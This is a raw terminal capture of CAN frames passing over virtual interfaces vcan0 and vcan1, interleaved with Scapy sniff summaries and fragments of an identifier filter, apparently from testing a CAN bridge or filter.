10 5E 6F 72 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 107 [4] 17 2E CD 77 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 54B [2] 6A 3F vcan1 0ED [5] CA 57 84 61 77 │ vcan0 585 [2] 24 6E vcan1 0DF [5] 71 76 04 71 96 │ vcan0 534 [8] 99 87 00 5C 52 C4 44 1D vcan1 0A2 [2] 90 55 │ vcan0 17B [8] 14 F1 2D 42 5D E0 10 62 vcan1 08E [8] 17 92 31 48 1C 46 84 45 │ vcan0 470 [8] 9A 6A 8A 57 10 5E 6F 72 vcan1 0FF [2] B5 9C │ vcan0 107 [4] 17 2E CD 77 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 54B [2] 6A 3F vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 04A [0] vcan1 0ED [5] CA 57 84 61 77 │ vcan0 534 [8] 99 87 00 5C 52 C4 44 1D vcan1 0DF [5] 71 76 04 71 96 │ vcan0 17B [8] 14 F1 2D 42 5D E0 10 62 vcan1 0A2 [2] 90 55 │ vcan0 470 [8] 9A 6A 8A 57 10 5E 6F 72 vcan1 08E [8] 17 92 31 48 1C 46 84 45 │ vcan0 107 [4] 17 2E CD 77 vcan1 0FF [2] B5 9C │ vcan0 54B [2] 6A 3F vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 04A [0] vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 347 [8] CC F2 B4 11 CC 38 2A 2E vcan1 0ED [5] CA 57 84 61 77 │ vcan0 17B [8] 14 F1 2D 42 5D E0 10 62 vcan1 0DF [5] 71 76 04 71 96 │ vcan0 470 [8] 9A 6A 8A 57 10 5E 6F 72 vcan1 0A2 [2] 90 55 │ vcan0 107 [4] 17 2E CD 77 vcan1 08E [8] 17 92 31 48 1C 46 84 45 │ vcan0 54B [2] 6A 3F vcan1 0FF [2] B5 9C │ vcan0 04A [0] vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 347 [8] CC F2 B4 11 CC 38 2A 2E vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 3DD [0] <Sniffed: TCP:0 UDP:0 ICMP:0 Other:49> vcan1 04A [0] │ vcan0 3DD [0] vcan1 04A [0] │ vcan0 22A [6] 63 65 5D 1E A5 F3 vcan1 0DF [5] 71 76 04 71 96 │ vcan0 107 [4] 17 2E CD 77 vcan1 0A2 [2] 90 55 │ vcan0 54B [2] 6A 3F vcan1 08E [8] 17 92 31 48 1C 46 84 45 │ vcan0 04A [0] vcan1 0FF [2] B5 9C │ vcan0 347 [8] CC F2 B4 11 CC 38 2A 2E vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 3DD [0] vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 22A [6] 63 65 5D 1E A5 F3 vcan1 04A [0] │ vcan0 643 [7] 03 D4 40 60 B4 3A 33 vcan1 0DF [5] 71 76 04 71 96 │ vcan0 54B [2] 6A 3F vcan1 0A2 [2] 90 55 │ vcan0 04A [0] vcan1 08E [8] 17 92 31 48 1C 46 84 45 │ vcan0 347 [8] CC F2 B4 11 CC 38 2A 2E vcan1 0FF [2] B5 9C │ vcan0 3DD [0] vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 22A [6] 63 65 5D 1E A5 F3 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 643 [7] 03 D4 40 60 B4 3A 33 vcan1 04A [0] │ vcan0 336 [8] C4 98 A2 22 3D B4 C5 09 vcan1 0DF [5] 71 76 04 71 96 │ vcan0 04A [0] vcan1 0A2 [2] 90 55 │ vcan0 347 [8] CC F2 B4 11 CC 38 2A 2E vcan1 08E [8] 17 92 31 48 1C 46 84 45 │ vcan0 3DD [0] vcan1 0FF [2] B5 9C │ vcan0 22A [6] 63 65 5D 1E A5 F3 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 643 [7] 03 D4 40 60 B4 3A 33 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 336 [8] C4 98 A2 22 3D B4 C5 09 vcan1 04A [0] │ vcan0 511 [8] 82 AF 13 37 5D 12 79 35 vcan1 0DF [5] 71 76 04 71 96 │ vcan0 347 [8] CC F2 B4 11 CC 38 2A 2E vcan1 0A2 [2] 90 55 │ vcan0 3DD [0] vcan1 08E [8] 17 92 31 48 1C 46 84 45 │ vcan0 22A [6] 63 65 5D 1E A5 F3 vcan1 0FF [2] B5 9C │ vcan0 643 [7] 03 D4 40 60 B4 3A 33 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 336 [8] C4 98 A2 22 3D B4 C5 09 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 511 [8] 82 AF 13 37 5D 12 79 35 vcan1 04A [0] │ vcan0 78D [8] CE 45 81 42 D8 27 ED 6F vcan1 0DF [5] 71 76 04 71 96 │ vcan0 3DD [0] vcan1 0A2 [2] 90 55 │ vcan0 22A [6] 63 65 5D 1E A5 F3 vcan1 08E [8] 17 92 31 48 1C 46 84 45 │ vcan0 643 [7] 03 D4 40 60 B4 3A 33 vcan1 0FF [2] B5 9C │ vcan0 336 [8] C4 98 A2 22 3D B4 C5 09 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 511 [8] 82 AF 13 37 5D 12 79 35 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 78D [8] CE 45 81 42 D8 27 ED 6F vcan1 04A [0] │ vcan0 2AC [0] vcan1 0DF [5] 71 76 04 71 96 │ vcan0 22A [6] 63 65 5D 1E A5 F3 vcan1 0A2 [2] 90 55 │ vcan0 643 [7] 03 D4 40 60 B4 3A 33 vcan1 08E [8] 17 92 31 48 1C 46 84 45 │ vcan0 336 [8] C4 98 A2 22 3D B4 C5 09 vcan1 0FF [2] B5 9C │ vcan0 511 [8] 82 AF 13 37 5D 12 79 35 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 78D [8] CE 45 81 42 D8 27 ED 6F vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 2AC [0] vcan1 04A [0] │ vcan0 0BB [8] C0 DE 1E 04 98 94 2D 68 vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 0BB [8] C0 DE 1E 04 98 94 2D 68 vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 7F9 [8] AA 35 46 69 23 CA 7D 26 vcan1 0A2 [2] 90 55 │ vcan0 336 [8] C4 98 A2 22 3D B4 C5 09 vcan1 08E [8] 17 92 31 48 1C 46 84 45 │ vcan0 511 [8] 82 AF 13 37 5D 12 79 35 vcan1 0FF [2] B5 9C │ vcan0 78D [8] CE 45 81 42 D8 27 ED 6F vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 2AC [0] vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 0BB [8] C0 DE 1E 04 98 94 2D 68 vcan1 04A [0] │ vcan0 7F9 [8] AA 35 46 69 23 CA 7D 26 vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 113 [8] C8 BD AD 24 57 57 10 07 vcan1 0A2 [2] 90 55 │ vcan0 511 [8] 82 AF 13 37 5D 12 79 35 vcan1 08E [8] 17 92 31 48 1C 46 84 45 │ vcan0 78D [8] CE 45 81 42 D8 27 ED 6F vcan1 0FF [2] B5 9C │ vcan0 2AC [0] vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 0BB [8] C0 DE 1E 04 98 94 2D 68 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 7F9 [8] AA 35 46 69 23 CA 7D 26 vcan1 04A [0] │ vcan0 113 [8] C8 BD AD 24 57 57 10 07 vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 185 [8] 0B 92 43 37 BB A4 25 2E vcan1 0A2 [2] 90 55 │ vcan0 78D [8] CE 45 81 42 D8 27 ED 6F vcan1 08E [8] 17 92 31 48 1C 46 84 45 │ vcan0 2AC [0] vcan1 0FF [2] B5 9C │ vcan0 0BB [8] C0 DE 1E 04 98 94 2D 68 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 7F9 [8] AA 35 46 69 23 CA 7D 26 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 113 [8] C8 BD AD 24 57 57 10 07 vcan1 04A [0] │ vcan0 185 [8] 0B 92 43 37 BB A4 25 2E vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 069 [8] F9 58 EB 37 7A F5 B8 33 vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 069 [8] F9 58 EB 37 7A F5 B8 33 vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 1AA [8] D7 07 32 69 37 C1 AF 44 vcan1 08E [8] 17 92 31 48 1C 46 84 45 │ vcan0 0BB [8] C0 DE 1E 04 98 94 2D 68 vcan1 0FF [2] B5 9C │ vcan0 7F9 [8] AA 35 46 69 23 CA 7D 26 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 113 [8] C8 BD AD 24 57 57 10 07 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 185 [8] 0B 92 43 37 BB A4 25 2E vcan1 04A [0] │ vcan0 069 [8] F9 58 EB 37 7A F5 B8 33 vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 1AA [8] D7 07 32 69 37 C1 AF 44 vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 767 [5] 0F E9 9C 34 13 vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 026 [8] 07 E0 07 57 E1 90 97 04 vcan1 0FF [2] B5 9C │ vcan0 113 [8] C8 BD AD 24 57 57 10 07 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 185 [8] 0B 92 43 37 BB A4 25 2E vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 069 [8] F9 58 EB 37 7A F5 B8 33 vcan1 04A [0] │ vcan0 1AA [8] D7 07 32 69 37 C1 AF 44 vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 767 [5] 0F E9 9C 34 13 vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 026 [8] 07 E0 07 57 E1 90 97 04 vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 455 [7] 7A 25 C5 6C 4E B4 28 vcan1 0FF [2] B5 9C │ vcan0 185 [8] 0B 92 43 37 BB A4 25 2E vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 069 [8] F9 58 EB 37 7A F5 B8 33 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 1AA [8] D7 07 32 69 37 C1 AF 44 vcan1 04A [0] │ vcan0 767 [5] 0F E9 9C 34 13 vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 026 [8] 07 E0 07 57 E1 90 97 04 vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 455 [7] 7A 25 C5 6C 4E B4 28 vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 6E4 [4] 71 7E A6 0D vcan1 0FF [2] B5 9C │ vcan0 069 [8] F9 58 EB 37 7A F5 B8 33 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 1AA [8] D7 07 32 69 37 C1 AF 44 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 767 [5] 0F E9 9C 34 13 vcan1 04A [0] │ vcan0 026 [8] 07 E0 07 57 E1 90 97 04 vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 455 [7] 7A 25 C5 6C 4E B4 28 vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 6E4 [4] 71 7E A6 0D vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 631 [8] 4E 97 45 27 B6 E7 DD 45 vcan1 0FF [2] B5 9C │ vcan0 1AA [8] D7 07 32 69 37 C1 AF 44 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 767 [5] 0F E9 9C 34 13 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 026 [8] 07 E0 07 57 E1 90 97 04 vcan1 04A [0] │ vcan0 455 [7] 7A 25 C5 6C 4E B4 28 vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 6E4 [4] 71 7E A6 0D vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 631 [8] 4E 97 45 27 B6 E7 DD 45 vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 605 [8] 72 8C 03 74 6E 9E FC 73 vcan1 0FF [2] B5 9C │ vcan0 767 [5] 0F E9 9C 34 13 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 026 [8] 07 E0 07 57 E1 90 97 04 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 455 [7] 7A 25 C5 6C 4E B4 28 vcan1 04A [0] │ vcan0 6E4 [4] 71 7E A6 0D vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 631 [8] 4E 97 45 27 B6 E7 DD 45 vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 605 [8] 72 8C 03 74 6E 9E FC 73 vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 428 [8] E9 93 B5 27 D2 45 C5 2C vcan1 0FF [2] B5 9C │ vcan0 026 [8] 07 E0 07 57 E1 90 97 04 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 455 [7] 7A 25 C5 6C 4E B4 28 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 6E4 [4] 71 7E A6 0D vcan1 04A [0] │ vcan0 631 [8] 4E 97 45 27 B6 E7 DD 45 vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 605 [8] 72 8C 03 74 6E 9E FC 73 vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 428 [8] E9 93 B5 27 D2 45 C5 2C vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 5E6 [0] vcan1 0FF [2] B5 9C │ vcan0 455 [7] 7A 25 C5 6C 4E B4 28 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 6E4 [4] 71 7E A6 0D vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 631 [8] 4E 97 45 27 B6 E7 DD 45 vcan1 04A [0] │ vcan0 605 [8] 72 8C 03 74 6E 9E FC 73 vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 428 [8] E9 93 B5 27 D2 45 C5 2C vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 5E6 [0] vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 166 [8] 60 1F 85 05 8C 21 2B 5A vcan1 0FF [2] B5 9C │ vcan0 6E4 [4] 71 7E A6 0D vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 631 [8] 4E 97 45 27 B6 E7 DD 45 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 605 [8] 72 8C 03 74 6E 9E FC 73 vcan1 04A [0] │ vcan0 428 [8] E9 93 B5 27 D2 45 C5 2C vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 5E6 [0] vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 166 [8] 60 1F 85 05 8C 21 2B 5A vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 566 [7] 6D B2 C2 5E BB 39 15 vcan1 0FF [2] B5 9C │ vcan0 631 [8] 4E 97 45 27 B6 E7 DD 45 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 605 [8] 72 8C 03 74 6E 9E FC 73 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 428 [8] E9 93 B5 27 D2 45 C5 2C vcan1 04A [0] │ vcan0 5E6 [0] vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 166 [8] 60 1F 85 05 8C 21 2B 5A vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 566 [7] 6D B2 C2 5E BB 39 15 vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 62E [7] 0A EE 3D 14 12 C5 3E vcan1 0FF [2] B5 9C │ vcan0 605 [8] 72 8C 03 74 6E 9E FC 73 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 428 [8] E9 93 B5 27 D2 45 C5 2C vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 5E6 [0] vcan1 04A [0] │ vcan0 166 [8] 60 1F 85 05 8C 21 2B 5A vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 566 [7] 6D B2 C2 5E BB 39 15 vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 62E [7] 0A EE 3D 14 12 C5 3E vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 30B [8] 0A 05 74 57 3D 29 42 7F vcan1 0FF [2] B5 9C │ vcan0 428 [8] E9 93 B5 27 D2 45 C5 2C vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 5E6 [0] vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 166 [8] 60 1F 85 05 8C 21 2B 5A vcan1 04A [0] │ vcan0 566 [7] 6D B2 C2 5E BB 39 15 vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 62E [7] 0A EE 3D 14 12 C5 3E vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 30B [8] 0A 05 74 57 3D 29 42 7F vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 0B5 [8] F3 10 20 45 BB 76 7B 0B vcan1 0B5 [8] F3 10 20 45 BB 76 7B 0B │ vcan0 0B5 [8] F3 10 20 45 BB 76 7B 0B vcan1 0B5 [8] F3 10 20 45 BB 76 7B 0B │ vcan0 5B2 [5] 29 15 78 7F DA vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 166 [8] 60 1F 85 05 8C 21 2B 5A vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 566 [7] 6D B2 C2 5E BB 39 15 vcan1 04A [0] │ vcan0 62E [7] 0A EE 3D 14 12 C5 3E vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 30B [8] 0A 05 74 57 3D 29 42 7F vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 0B5 [8] F3 10 20 45 BB 76 7B 0B vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 5B2 [5] 29 15 78 7F DA vcan1 0B5 [8] F3 10 20 45 BB 76 7B 0B │ vcan0 2D0 [2] AD 5F vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 566 [7] 6D B2 C2 5E BB 39 15 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 62E [7] 0A EE 3D 14 12 C5 3E vcan1 04A [0] │ vcan0 30B [8] 0A 05 74 57 3D 29 42 7F vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 0B5 [8] F3 10 20 45 BB 76 7B 0B vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 5B2 [5] 29 15 78 7F DA vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 2D0 [2] AD 5F vcan1 0B5 [8] F3 10 20 45 BB 76 7B 0B │ vcan0 4D3 [7] 03 56 72 04 39 2E B0 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 62E [7] 0A EE 3D 14 12 C5 3E vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 30B [8] 0A 05 74 57 3D 29 42 7F vcan1 04A [0] │ vcan0 0B5 [8] F3 10 20 45 BB 76 7B 0B vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 5B2 [5] 29 15 78 7F DA vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 2D0 [2] AD 5F vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 4D3 [7] 03 56 72 04 39 2E B0 vcan1 0B5 [8] F3 10 20 45 BB 76 7B 0B │ vcan0 6D0 [4] C5 4F DB 4E vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 30B [8] 0A 05 74 57 3D 29 42 7F vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 0B5 [8] F3 10 20 45 BB 76 7B 0B vcan1 04A [0] │ vcan0 5B2 [5] 29 15 78 7F DA vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 2D0 [2] AD 5F vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 4D3 [7] 03 56 72 04 39 2E B0 vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 6D0 [4] C5 4F DB 4E vcan1 0B5 [8] F3 10 20 45 BB 76 7B 0B │ vcan0 4CB [2] F2 95 <Sniffed: TCP:0 UDP:0 ICMP:0 Other:45> vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 0B5 [8] F3 10 20 45 BB 76 7B 0B vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 5B2 [5] 29 15 78 7F DA vcan1 04A [0] │ vcan0 2D0 [2] AD 5F vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 4D3 [7] 03 56 72 04 39 2E B0 vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 6D0 [4] C5 4F DB 4E vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 4CB [2] F2 95 vcan1 0B5 [8] F3 10 20 45 BB 76 7B 0B │ vcan0 21A [8] 0C F8 76 55 25 0D B9 1A vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 5B2 [5] 29 15 78 7F DA vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 2D0 [2] AD 5F vcan1 04A [0] │ vcan0 4D3 [7] 03 56 72 04 39 2E B0 vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 6D0 [4] C5 4F DB 4E vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 4CB [2] F2 95 vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 21A [8] 0C F8 76 55 25 0D B9 1A vcan1 0B5 [8] F3 10 20 45 BB 76 7B 0B │ vcan0 077 [6] 62 36 FB 19 2D 99 ...: returnpkt.identifier<0x100 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 2D0 [2] AD 5F vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 4D3 [7] 03 56 72 04 39 2E B0 vcan1 04A [0] │ vcan0 6D0 [4] C5 4F DB 4E vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 4CB [2] F2 95 vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 21A [8] 0C F8 76 55 25 0D B9 1A vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 077 [6] 62 36 FB 19 2D 99 vcan1 0B5 [8] F3 10 20 45 BB 76 7B 0B │ vcan0 16F [6] E8 0F F5 50 21 5F ...: returnpkt.identifier<0x100 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 4D3 [7] 03 56 72 04 39 2E B0 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 6D0 [4] C5 4F DB 4E vcan1 04A [0] │ vcan0 4CB [2] F2 95 vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 21A [8] 0C F8 76 55 25 0D B9 1A vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 077 [6] 62 36 FB 19 2D 99 vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 16F [6] E8 0F F5 50 21 5F vcan1 0B5 [8] F3 10 20 45 BB 76 7B 0B │ vcan0 4BB [1] FB ...: returnpkt.identifier<0x100 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 6D0 [4] C5 4F DB 4E vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 4CB [2] F2 95 vcan1 04A [0] │ vcan0 21A [8] 0C F8 76 55 25 0D B9 1A vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 077 [6] 62 36 FB 19 2D 99 vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 16F [6] E8 0F F5 50 21 5F vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 4BB [1] FB vcan1 0B5 [8] F3 10 20 45 BB 76 7B 0B │ vcan0 624 [8] 42 D8 51 7D F7 12 B0 2F vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 4CB [2] F2 95 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 21A [8] 0C F8 76 55 25 0D B9 1A vcan1 04A [0] │ vcan0 077 [6] 62 36 FB 19 2D 99 vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 16F [6] E8 0F F5 50 21 5F vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 4BB [1] FB vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 624 [8] 42 D8 51 7D F7 12 B0 2F vcan1 0B5 [8] F3 10 20 45 BB 76 7B 0B │ vcan0 75F [6] 30 41 60 24 30 96 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 21A [8] 0C F8 76 55 25 0D B9 1A vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 077 [6] 62 36 FB 19 2D 99 vcan1 04A [0] │ vcan0 16F [6] E8 0F F5 50 21 5F vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 4BB [1] FB vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 624 [8] 42 D8 51 7D F7 12 B0 2F vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 75F [6] 30 41 60 24 30 96 vcan1 0B5 [8] F3 10 20 45 BB 76 7B 0B │ vcan0 3AA [5] 66 F2 04 7D 75 ...: returnpkt.identifier<0x100...: returnpkt.identifier<0x100...: returnpkt.identifier<0x100...: return pkt.identifier<0x100 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 077 [6] 62 36 FB 19 2D 99 vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 16F [6] E8 0F F5 50 21 5F vcan1 04A [0] │ vcan0 4BB [1] FB vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 624 [8] 42 D8 51 7D F7 12 B0 2F vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 75F [6] 30 41 60 24 30 96 vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 3AA [5] 66 F2 04 7D 75 vcan1 0B5 [8] F3 10 20 45 BB 76 7B 0B │ vcan0 327 [8] 6F 4B 78 10 41 6D FF 19 ...: returnpkt.identifier<0x100...: returnpkt.identifier<0x100...: returnpkt.identifier<0x100...: returnpkt.identifier<0x100...: returnpkt.identifier<0x100 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 16F [6] E8 0F F5 50 21 5F vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 4BB [1] FB vcan1 04A [0] │ vcan0 624 [8] 42 D8 51 7D F7 12 B0 2F vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 75F [6] 30 41 60 24 30 96 vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 3AA [5] 66 F2 04 7D 75 vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 327 [8] 6F 4B 78 10 41 6D FF 19 vcan1 0B5 [8] F3 10 20 45 BB 76 7B 0B │ vcan0 454 [8] 67 7A B8 34 CC FC C0 78 ...: returnpkt.identifier<0x100...: returnpkt.identifier<0x100...: returnpkt.identifier<0x100...: returnpkt.identifier<0x100...: returnpkt.identifier<0x100 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 4BB [1] FB vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 624 [8] 42 D8 51 7D F7 12 B0 2F vcan1 04A [0] │ vcan0 75F [6] 30 41 60 24 30 96 vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 3AA [5] 66 F2 04 7D 75 vcan1 069 [8] F9 58 EB 37 7A F5 B8 33 │ vcan0 327 [8] 6F 4B 78 10 41 6D FF 19 vcan1 026 [8] 07 E0 07 57 E1 90 97 04 │ vcan0 454 [8] 67 7A B8 34 CC FC C0 78 vcan1 0B5 [8] F3 10 20 45 BB 76 7B 0B │ vcan0 092 [8] F9 95 3A 3E 01 DA 7E 3E ...: returnpkt.identifier<0x100...: returnpkt.identifier<0x100...: returnpkt.identifier<0x100 vcan1 019 [8] 45 AB 3B 0E 46 0E 15 4A │ vcan0 624 [8] 42 D8 51 7D F7 12 B0 2F vcan1 06F [7] DF 32 5E 1C A4 23 23 │ vcan0 75F [6] 30 41 60 24 30 96 vcan1 04A [0] │ vcan0 3AA [5] 66 F2 04 7D 75 vcan1 0BB [8] C0 DE 1E 04 98 94 2D 68 │ vcan0 327 [8] 6F 4B 78 10 41 